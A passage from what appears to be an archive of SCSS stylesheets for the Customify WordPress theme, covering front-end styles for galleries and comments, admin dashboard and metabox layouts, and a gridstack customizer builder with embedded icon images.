content: "";
display: table;
table-layout: fixed;
}
.clear:after,
.entry-content:after,
.comment-content:after,
.site-header:after,
.site-content:after,
.site-footer:after {
clear: both;
}
/*--------------------------------------------------------------
# Media
--------------------------------------------------------------*/
.page-content .wp-smiley,
.entry-content .wp-smiley,
.comment-content .wp-smiley {
border: none;
margin-bottom: 0;
margin-top: 0;
padding: 0;
}
/* Make sure embeds and iframes fit their containers. */
embed,
iframe,
object {
max-width: 100%;
}
/* Make sure logo link wraps around logo image. */
.custom-logo-link {
display: inline-block;
}
/*--------------------------------------------------------------
## Media: Captions
--------------------------------------------------------------*/
.wp-caption {
margin-bottom: ms(1);
max-width: 100%;
}
.wp-caption img[class*="wp-image-"] {
display: block;
margin-left: auto;
margin-right: auto;
}
.wp-caption .wp-caption-text {
padding: 1em 0;
font-size: 85%;
}
.wp-caption-text {
text-align: left;
font-style: italic;
color: darken($background_body, 40%);
}
/*--------------------------------------------------------------
## Media: Galleries
--------------------------------------------------------------*/
.gallery {
margin-bottom: 1.5em;
@include clearfix;
margin-bottom: ms(1);
}
.gallery-item {
display: inline-block;
text-align: center;
vertical-align: top;
width: 100%;
}
.gallery-columns-2 .gallery-item {
max-width: 50%;
}
.gallery-columns-3 .gallery-item {
max-width: 33.33%;
}
.gallery-columns-4 .gallery-item {
max-width: 25%;
}
.gallery-columns-5 .gallery-item {
max-width: 20%;
}
.gallery-columns-6 .gallery-item {
max-width: 16.66%;
}
.gallery-columns-7 .gallery-item {
max-width: 14.28%;
}
.gallery-columns-8 .gallery-item {
max-width: 12.5%;
}
.gallery-columns-9 .gallery-item {
max-width: 11.11%;
}
.gallery-caption {
display: block;
}
/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
.comment-reply-title {
@extend h4;
}
.comment-form-comment,
.comment-form-author,
.comment-form-email,
.comment-form-url {
label {
text-transform: uppercase;
letter-spacing: 0.5px;
font-size: 0.85em;
}
}
}
.comment-list {
list-style: none;
margin: 0;
article.comment {
margin-bottom: 0px;
}
ul {
list-style: none;
margin: 0;
}
.children li.comment {
padding-left: 30px;
@include mq(min-md) {
padding-left: 85px;
border-left: 1px solid $color_border;
position: relative;
width: 100%;
&:after {
content: "";
display: block;
position: absolute;
float: left;
top: ms(2);
left: 0;
width: ms(2);
height: 1px;
background-color: $color_border;
}
}
@include mq(max-sm) {
li.comment li.comment li.comment {
padding-left: 0px;
}
}
}
}
article.comment {
padding: ms(2) 0;
margin-bottom: ms(2);
.comment-content {
p:last-of-type {
margin-bottom: 0px;
}
}
.comment-image {
float: left;
}
.comment-wrap {
margin-left: 85px;
}
.comment-meta {
display: block;
margin: 12px 0px 12px;
padding-bottom: 4px;
border-bottom: 1px solid $color_border;
.comment-edit-link {
margin-left: 10px;
}
}
.comment-author {
font-weight: 500;
text-transform: uppercase;
line-height: 1;
font-style: normal;
}
.comment-post-author {
background: $color_meta;
padding: 1px 6px 1px;
border-radius: 2px;
color: #ffffff;
position: relative;
top: -2px;
margin-left: 4px;
}
}
#respond {
.comment-form-author,
.comment-form-email,
.comment-form-url {
@include mq(min-md) {
width: 29.4117647059%;
margin-right: 5.8823529412%;
float: left;
}
input {
width: 100%;
}
}
.comment-form-url {
margin-right: 0px;
}
.comment-form-cookies-consent {
#wp-comment-cookies-consent {
position: relative;
top: -1px;
margin-right: 5px;
}
}
}
/*--------------------------------------------------------------
## Helper
--------------------------------------------------------------*/
// Direction Nav
.nav-btn {
margin: auto;
width: 24px;
height: 24px;
min-height: 24px;
overflow: hidden;
fill: currentColor;
line-height: 1em;
font-size: 1em;
position: relative;
padding: 0px;
border-radius: 50%;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
background-color: rgba(255, 255, 255, 0.5);
color: #888888;
opacity: 0.6;
display: inline-block;
transition: all 0.3s linear;
&.x2 {
width: 36px;
height: 36px;
min-height: 36px;
font-size: 1.1em;
}
svg {
width: 50%;
height: 50%;
position: absolute;
top: 50%;
left: 50%;
fill: currentColor;
color: currentColor;
transform: translate(-50%, -50%);
}
&:hover,
&:focus {
color: #333;
opacity: 1;
box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26),
0 0 0 1px rgba(0, 0, 0, 0.18);
background-color: rgba(255, 255, 255, 0.99);
}
&.nav-next {
&:before {
//content: "\f105";
// transform: translate( -50%, -50%) rotate( 45deg );
}
&:after {
//transform: translate( -50%, -50%) rotate( -45deg );
}
}
&.nav-prev {
&:before {
//content: "\f104";
}
}
&:before,
&:after {
}
&:before {
}
&:after {
}
}
// Shape
.shape-rounded {
border-radius: 10%;
}
.shape-circle {
border-radius: 50%;
}
// Pre-defined classes.
.text-xsmall {
font-size: 0.72em;
}
.text-small {
font-size: 0.875em;
}
.text-large {
font-size: 1.1em;
}
.text-uppercase {
text-transform: uppercase;
line-height: 1.2;
&.text-xsmall {
letter-spacing: 0.5px;
}
}
.link-meta,
.link-meta a {
color: $color_meta;
}
.link-meta a:hover {
color: $color_link_hover;
}
.color-meta {
color: $color_meta;
}
/* Customize Preview */
.customize-previewing {
overflow-x: hidden;
.builder-item-focus {
&.item--inner {
position: relative;
&.has_menu {
position: initial;
.item--preview-name {
left: auto;
}
}
}
.item--preview-name {
position: absolute;
top: 100%;
left: 0px;
display: none;
background: #0073aa;
color: #fff;
padding: 5px 8px 6px;
font-size: 12px !important;
font-weight: 600;
line-height: 14px;
cursor: pointer;
border-bottom-left-radius: 2px;
border-bottom-right-radius: 2px;
}
&:hover {
&.item--inner {
transition-delay: 0s !important;
outline: 1px solid #0073aa;
outline-offset: -1px;
.item--preview-name {
display: block;
z-index: 9999999;
}
}
}
}
.header--row,
.header-menu-sidebar {
.customize-partial-edit-shortcut {
display: none;
}
.builder-item-focus {
}
}
.footer--row {
.builder-item-focus {
&:hover {
&.item--inner {
outline: 1px dashed #ff472e;
outline-offset: -1px;
}
}
}
}
}
admin/dashboard.scss 0000666 00000031256 15114372150 0010472 0 ustar 00 $dashboard_width: 930px;
$dashboard_border_color: #e5e5e5;
@mixin cd_mobile(){
@media screen and (max-width: 782px) {
@content;
}
}
@mixin clear_after(){
&:after{
content: ''; clear: both; display: block;
}
}
.appearance_page_customify #wpcontent {
padding-left: 0;
.wrap {
margin: 10px 20px 0 20px;
@include cd_mobile(){
margin-right: 12px;
margin-left: 12px;
}
}
}
.cd-hide {
display: none !important;
}
.cd-hidden-heading {
display: none;
}
.cd-branding {
display: inline-block;
text-decoration: none;
outline: none;
vertical-align: middle;
img {
max-width: 150px;
display: block;
}
}
.cd-version {
background-color: #e5e5e5;
padding: 2px 7px;
border-radius: 3px;
margin-left: 10px;
}
.cd-top-link {
margin-left: 10px;
}
.cd-row {
max-width: $dashboard_width;
margin: 0 auto;
box-sizing: border-box;
* {
box-sizing: border-box;
}
@include clear_after();
&.metabox-holder {
margin-top: 20px;
}
}
.cd-header {
background: #ffffff;
padding: 18px 15px;
box-shadow: 0 1px 1px 0 rgba(0,0,0,.1);
.cd-header-inner {
display: flex;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
margin: 0 auto;
width: 100%;
align-items: center;
}
}
.cd-main {
width: 70%;
float: left;
padding-right: 30px;
@include cd_mobile(){
width: 100%;
float: none;
padding-right: 0px;
}
}
.cd-sidebar {
width: 30%;
float: right;
@include cd_mobile(){
width: 100%;
float: none;
}
}
.cd-box {
border: 1px solid $dashboard_border_color;
box-shadow: 0 1px 1px rgba(0,0,0,.04);
background: #fff;
margin-bottom: 30px;
@include cd_mobile(){
margin-bottom: 15px;
}
.cd-box-top {
border-bottom: 1px solid #eee;
font-size: 14px;
padding: 12px 15px;
font-weight: 600;
.cd-upgrade {
float: right;
}
}
.cd-box-content {
padding: 15px;
p {
margin-top: 0px;
}
}
.cd-sites-thumb img{
width: 100%;
height: auto;
border-bottom: 1px solid #eee;
}
}
.cd-list-flex {
list-style: none;
@include clear_after();
margin: -15px;
a {
text-decoration: none;
}
li {
width: 50%;
float: left;
border-bottom: 1px solid #eee;
margin-bottom: 0px;
border-right: 1px solid #eee;
padding: 12px 15px;
&:nth-child(2n) {
border-right: 0px none;
}
}
}
.action-btn {
display: inline-block;
}
.plugin-detail {
display: inline-block;
margin: 0 10px;
}
.cd-modules {
&.cd-box-content {
padding: 0px;
}
.cd-module-item {
display: flex;
padding: 16px 15px;
border-bottom: 1px solid #eee;
&.cd-sub-module {
padding-left: 50px;
}
&:last-child {
margin-bottom: 0px;
}
}
.cd-module-toggle{
flex-basis: 40px;
display: block;
float: left;
}
.cd-module-info {
flex-basis: 100%;
position: relative;
padding-right: 100px;
.cd-module-name {
font-weight: 500;
.cd-toggle-disable-notice {
font-weight: 400;
margin-left: 15px;
font-style: italic;
}
}
}
.cd-module-desc {
margin-top: 10px;
font-style: italic;
}
.cd-module-doc-link {
position: absolute;
top: 0px;
right: 0px;
}
}
// OnOff Button
.onoffswitch {
position: relative; width: 25px;
display: inline-block;
-webkit-user-select:none; -moz-user-select:none; -ms-user-select: none;
}
.onoffswitch-checkbox {
display: none !important;
}
.onoffswitch-label {
display: block;
overflow: hidden;
cursor: pointer;
border: 0px none;
border-radius: 10px;
position: relative;
top: 3px;
transition: all 0.3s ease-in 0s;
opacity: 1;
}
.onoffswitch-inner {
display: block; width: 200%; margin-left: -100%;
transition: margin 0.3s ease-in 0s;
}
.onoffswitch-inner:before, .onoffswitch-inner:after {
display: block; float: left;
width: 50%; height: 15px; padding: 0;
box-sizing: border-box;
}
.onoffswitch-inner:before {
content: "";
padding-left: 10px;
background-color: #00aadc; color: #FFFFFF;
}
.onoffswitch-inner:after {
content: "";
padding-right: 10px;
background-color: #a8bece;
text-align: right;
}
.onoffswitch-switch {
display: block; width: 11px; margin: 0px 3px 0px 1px;
background: #FFFFFF;
position: absolute; top: 2px; bottom: 2px;
right: 8px;
border-radius: 10px;
transition: all 0.3s ease-in 0s;
}
.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-inner {
margin-left: 0;
}
.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-switch {
right: 0px;
}
.onoffswitch-checkbox:disabled + .onoffswitch-label {
opacity: 0.4;
cursor: default;
}
// Toast
.toast-title {
font-weight: bold;
}
.toast-message {
-ms-word-wrap: break-word;
word-wrap: break-word;
}
.toast-message a,
.toast-message label {
color: #ffffff;
}
.toast-message a:hover {
color: #cccccc;
text-decoration: none;
}
.toast-close-button {
position: relative;
right: -2px;
top: -2px;
float: right;
font-size: 20px;
font-weight: bold;
color: #ffffff;
-webkit-text-shadow: 0 1px 0 #ffffff;
text-shadow: 0 1px 0 #ffffff;
opacity: 0.8;
background: none;
border: none;
-ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=80);
filter: alpha(opacity=80);
}
.toast-close-button:hover,
.toast-close-button:focus {
color: #000000;
text-decoration: none;
cursor: pointer;
opacity: 0.4;
-ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=40);
filter: alpha(opacity=40);
}
.toast-top-right {
top: 60px;
right: 12px;
}
#toast-container {
position: fixed;
z-index: 999999;
/*overrides*/
}
#toast-container * {
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
#toast-container > div {
position: relative;
overflow: hidden;
margin: 0 0 6px;
padding: 7px 7px 7px 40px;
line-height: 24px;
background-size: 16px 16px;
width: 260px;
-moz-border-radius: 3px 3px 3px 3px;
-webkit-border-radius: 3px 3px 3px 3px;
border-radius: 3px 3px 3px 3px;
background-position: 15px center;
background-repeat: no-repeat;
-moz-box-shadow: 0 0 12px #999999;
-webkit-box-shadow: 0 0 12px #999999;
box-shadow: 0 0 12px #999999;
color: #ffffff;
filter: alpha(opacity=80);
}
#toast-container > div:hover {
-moz-box-shadow: 0 0 12px #000000;
-webkit-box-shadow: 0 0 12px #000000;
box-shadow: 0 0 12px #000000;
opacity: 1;
cursor: pointer;
}
#toast-container > .toast-info {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=") !important;
}
#toast-container > .toast-error {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=") !important;
}
#toast-container > .toast-success {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==") !important;
}
#toast-container > .toast-warning {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=") !important;
}
#toast-container.toast-top-center > div,
#toast-container.toast-bottom-center > div {
width: 300px;
margin-left: auto;
margin-right: auto;
}
#toast-container.toast-top-full-width > div,
#toast-container.toast-bottom-full-width > div {
width: 96%;
margin-left: auto;
margin-right: auto;
}
.toast {
background-color: #030303;
}
.toast-success {
background-color: #51a351;
}
.toast-error {
background-color: #bd362f;
}
.toast-info {
background-color: #2f96b4;
}
.toast-warning {
background-color: #f89406;
}
.toast-progress {
position: absolute;
left: 0;
bottom: 0;
height: 4px;
background-color: #000000;
opacity: 0.4;
-ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=40);
filter: alpha(opacity=40);
}
.cd-list-item {
margin: 0 -15px;
padding: 15px 15px 15px;
border-bottom: 1px solid #eee;
&:first-child {
padding-top: 0px;
}
&:last-child {
border-bottom: 0px;
padding-bottom: 0px;
}
.cd-list-name {
font-weight: 500;
}
.cd-list-desc {
margin-bottom: 1em;
}
.rcp {
margin-bottom: 0px;
p {
margin-bottom: 0px;
}
}
}
/*Admin notice*/
.customify-notice-wrapper {
&.notice {
padding: 10px !important;
border-left: 0px;
.notice-dismiss {
top: 5px;
right: 5px;
}
}
}
.customify-notice {
display: flex;
align-items: center;
background: #fff8E5;
padding: 20px;
a {
color: #f56e28;
font-weight: 600;
}
.customify-notice-img {
padding-right: 30px;
padding-left: 15px;
img {
max-width: 140px;
}
}
.customify-notice-content {
flex-basis: 100%;
}
.customify-notice-heading {
font-size: 18px;
}
}
.cd-box-content {
input[type="text"],
input[type="number"],
input[type="password"],
input[type="email"],
input[type="email"]{
display: block;
max-width: 100%;
}
}
.customify-msg {
.error {
color: #dc3232;
}
.success {
color: #46b450;
}
}
.copy-settings-form {
.submit-field {
margin-top: 10px;
}
}
.copy-theme-settings {
position: relative;
}
admin/editor.scss 0000666 00000000320 15114372150 0010015 0 ustar 00
@import "../site/utils/vars";
@import "../site/utils/mixins";
@import "../site/vendors/gridlex/gridlex-vars";
@import "../site/base/base";
@import "../site/base/blocks";
@import "../site/layouts/blogs"; admin/metabox.scss 0000666 00000011275 15114372150 0010201 0 ustar 00 .customify-mt-divider {
border-bottom: 1px solid #eee;
border-top: 1px solid #eee;
display: block;
padding: 7px 12px;
margin-top: 15px;
margin-left: -12px;
margin-right: -12px;
font-weight: 600;
}
/* NEW meta box */
#customify_page_settings {
.inside {
padding: 0px;
margin-top: 0px;
}
}
.customify-mt-media {
display: block;
.customify--add {
display: inline-block;;
}
.customify--remove {
display: none;
}
.customify-mt-media-preview {
display: block;
}
.customify-image-preview {
img {
max-width: 100%;
height: auto;
}
}
&.attachment-added {
.customify--add {
display: none;
}
.customify--remove {
display: inline-block;
}
}
}
.customify-mt-box-inner {
width: 100%;
}
.customify-mt-tabs {
display: flex;
width: 100%;
.customify-mt-tabs-list {
flex-basis: 20%;
margin: 0;
float: left;
line-height: 1em;
padding: 0 0 10px;
position: relative;
background-color: #fafafa;
border-right: 1px solid #eee;
box-sizing: border-box;
li {
margin: 0px;
padding: 0px;
i {
font-size: 14px;
margin-top: 4px;
margin-right: 5px;
}
&.active {
a {
color: #555;
position: relative;
background-color: #eee;
}
}
}
a {
margin: 0;
padding: 10px;
display: block;
box-shadow: none;
text-decoration: none;
line-height: 20px!important;
border-bottom: 1px solid #eee;
}
}
.customify-mt-tab-contents {
flex-basis: 80%;
.customify-mt-tab-cont {
display: none;
&.active {
display: block;
}
}
}
}
.customify-mt-field {
display: flex;
padding: 15px 20px;
align-items: start;
border-bottom: 1px solid #eee;
&:last-child {
border-bottom: 0px;
}
.customify-mt-field-label {
flex-basis: 25%;
}
.customify-mt-field-inner {
flex-basis: 75%;
p.field-p {
&:first-child {
margin-top: 0px;
}
&:last-child {
margin-bottom: 0px;
}
}
}
.customify-image-preview {
display: flex;
align-items: center;
justify-content: center;
width: 100px;
height: 100px;
background: #eee;
border: 1px solid #eee;
img {
object-fit: cover;
width: 100%;
height: 100%;
}
}
}
.cd-box {
.customify-mt-box {
.customify-mt-field {
padding-left: 0px;
padding-right: 0px;
}
}
}
.edit-post-meta-boxes-area {
&.is-side{
.customify-mt-tabs{
display: block;
}
.customify-mt-tabs-list{
display: flex;
float: none;
border-bottom: 1px solid #eee;
padding: 0 15px;
.customify-mt-tab-cont{
a{
font-size: 0;
border-bottom: 0;
position: relative;
&::before, &::after{
left: 50%;
opacity: 0;
position: absolute;
z-index: -9999999;
font-size: 12px;
}
&::before{
border-style: solid;
border-width: 1em 0.75em 0 0.75em;
border-color: #3E474F transparent transparent transparent;
bottom: 100%;
content: '';
transform: translateX(-50%);
}
&::after{
background: #3E474F;
border-radius: .25em;
bottom: calc( 100% + 0.75em );
color: #EDEFF0;
display: block;
content: attr(data-title);
padding: 0.3em 1em;
text-align: center;
min-width: 5em;
width: max-content;
transform: translateX(-50%);
}
&:hover::before,
&:hover::after{
opacity: 1;
z-index: 9999999;
}
}
.dashicons{
font-size: 16px;
margin-top: 0;
margin-right: 0;
}
}
}
.customify-mt-tab-contents{
display: block;
float: none;
.customify-mt-field {
display: block;
.customify-mt-field-label{
width: 100%;
display: block;
margin-bottom: 0.5em;
}
.customify-mt-field-inner{
width: 100%;
> * {
width: 100%;
}
}
}
}
}
}
admin/customizer/_builder_v1.scss 0000666 00000015407 15114372150 0013142 0 ustar 00 $gridstack-columns: 12 !default;
$horizontal_padding: 20px !default;
$vertical_padding: 20px !default;
$animation_speed: .3s !default;
@mixin grid-stack-items($gridstack-columns) {
.grid-stack.grid-stack-#{$gridstack-columns} {
> .grid-stack-item {
min-width: 100% / $gridstack-columns;
@for $i from 1 through $gridstack-columns {
&[data-gs-width='#{$i}'] { width: (100% / $gridstack-columns) * $i; }
&[data-gs-x='#{$i}'] { left: (100% / $gridstack-columns) * $i; }
&[data-gs-min-width='#{$i}'] { min-width: (100% / $gridstack-columns) * $i; }
&[data-gs-max-width='#{$i}'] { max-width: (100% / $gridstack-columns) * $i; }
@include rtl(){
&[data-gs-x='#{$i}'] { right: (100% / $gridstack-columns) * $i; left: auto; }
}
}
}
}
}
//@for $j from 1 through $gridstack-columns {
// @include grid-stack-items($j)
//}
//@include grid-stack-items(12);
@mixin vendor($property, $value...){
-webkit-#{$property}:$value;
-moz-#{$property}:$value;
-ms-#{$property}:$value;
-o-#{$property}:$value;
#{$property}:$value;
}
:root .grid-stack-item > .ui-resizable-handle { filter: none; }
.grid-stack {
position: relative;
&.grid-stack-rtl {
direction: ltr;
> .grid-stack-item {
direction: rtl;
}
}
.grid-stack-placeholder > .placeholder-content {
border: 1px dashed lightgray;
margin: 0;
position: absolute;
top: 0;
left: $horizontal_padding / 2;
right: $horizontal_padding / 2;
bottom: 0;
width: auto;
z-index: 0 !important;
text-align: center;
}
> .grid-stack-item {
min-width: 100% / $gridstack-columns;
position: absolute;
padding: 0;
> .grid-stack-item-content {
margin: 0;
position: absolute;
top: 0;
left: $horizontal_padding / 2;
right: $horizontal_padding / 2;
bottom: 0;
width: auto;
z-index: 0 !important;
overflow-x: hidden;
overflow-y: auto;
}
> .ui-resizable-handle {
position: absolute;
font-size: 0.1px;
display: block;
-ms-touch-action: none;
touch-action: none;
}
&.ui-resizable-disabled > .ui-resizable-handle,
&.ui-resizable-autohide > .ui-resizable-handle { display: none; }
&.ui-draggable-dragging,
&.ui-resizable-resizing {
z-index: 100;
> .grid-stack-item-content,
> .grid-stack-item-content {
box-shadow: 1px 4px 6px rgba(0, 0, 0, 0.2);
opacity: 0.8;
}
}
> .ui-resizable-se,
> .ui-resizable-sw {
background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgd2lkdGg9IjE2cHgiIGhlaWdodD0iMTZweCIgdmlld0JveD0iMCAwIDUxMS42MjYgNTExLjYyNyIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgNTExLjYyNiA1MTEuNjI3OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxnPgoJPHBhdGggZD0iTTMyOC45MDYsNDAxLjk5NGgtMzYuNTUzVjEwOS42MzZoMzYuNTUzYzQuOTQ4LDAsOS4yMzYtMS44MDksMTIuODQ3LTUuNDI2YzMuNjEzLTMuNjE1LDUuNDIxLTcuODk4LDUuNDIxLTEyLjg0NSAgIGMwLTQuOTQ5LTEuODAxLTkuMjMxLTUuNDI4LTEyLjg1MWwtNzMuMDg3LTczLjA5QzI2NS4wNDQsMS44MDksMjYwLjc2LDAsMjU1LjgxMywwYy00Ljk0OCwwLTkuMjI5LDEuODA5LTEyLjg0Nyw1LjQyNCAgIGwtNzMuMDg4LDczLjA5Yy0zLjYxOCwzLjYxOS01LjQyNCw3LjkwMi01LjQyNCwxMi44NTFjMCw0Ljk0NiwxLjgwNyw5LjIyOSw1LjQyNCwxMi44NDVjMy42MTksMy42MTcsNy45MDEsNS40MjYsMTIuODUsNS40MjYgICBoMzYuNTQ1djI5Mi4zNThoLTM2LjU0MmMtNC45NTIsMC05LjIzNSwxLjgwOC0xMi44NSw1LjQyMWMtMy42MTcsMy42MjEtNS40MjQsNy45MDUtNS40MjQsMTIuODU0ICAgYzAsNC45NDUsMS44MDcsOS4yMjcsNS40MjQsMTIuODQ3bDczLjA4OSw3My4wODhjMy42MTcsMy42MTcsNy44OTgsNS40MjQsMTIuODQ3LDUuNDI0YzQuOTUsMCw5LjIzNC0xLjgwNywxMi44NDktNS40MjQgICBsNzMuMDg3LTczLjA4OGMzLjYxMy0zLjYyLDUuNDIxLTcuOTAxLDUuNDIxLTEyLjg0N2MwLTQuOTQ4LTEuODA4LTkuMjMyLTUuNDIxLTEyLjg1NCAgIEMzMzguMTQyLDQwMy44MDIsMzMzLjg1Nyw0MDEuOTk0LDMyOC45MDYsNDAxLjk5NHoiIGZpbGw9IiM2NjY2NjYiLz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8L3N2Zz4K);
background-repeat: no-repeat;
background-position: center;
@include vendor(transform, rotate(45deg));
}
> .ui-resizable-se {
@include vendor(transform, rotate(-45deg));
}
> .ui-resizable-e { cursor: ew-resize; width: 10px; right: $horizontal_padding / 2; left: auto; top: 0px; bottom: 0px; }
> .ui-resizable-w { cursor: ew-resize; width: 10px; left: $horizontal_padding / 2; right: auto; top: 0px; bottom: 0px; }
&.ui-draggable-dragging {
&> .ui-resizable-handle {
display: none !important;
}
}
@for $i from 1 through $gridstack-columns {
&[data-gs-width='#{$i}'] { width: (100% / $gridstack-columns) * $i; }
&[data-gs-x='#{$i}'] { left: (100% / $gridstack-columns) * $i; }
&[data-gs-min-width='#{$i}'] { min-width: (100% / $gridstack-columns) * $i; }
&[data-gs-max-width='#{$i}'] { max-width: (100% / $gridstack-columns) * $i; }
@include rtl(){
&[data-gs-x='#{$i}'] { right: (100% / $gridstack-columns) * $i; left: auto; }
}
}
}
&.grid-stack-animate,
&.grid-stack-animate .grid-stack-item {
@include vendor(transition, left $animation_speed, top $animation_speed, height $animation_speed, width $animation_speed);
}
&.grid-stack-animate .grid-stack-item.ui-draggable-dragging,
&.grid-stack-animate .grid-stack-item.ui-resizable-resizing,
&.grid-stack-animate .grid-stack-item.grid-stack-placeholder{
@include vendor(transition, left .0s, top .0s, height .0s, width .0s);
}
&.grid-stack-one-column-mode {
height: auto !important;
&> .grid-stack-item {
position: relative !important;
width: auto !important;
left: 0 !important;
top: auto !important;
margin-bottom: $vertical_padding;
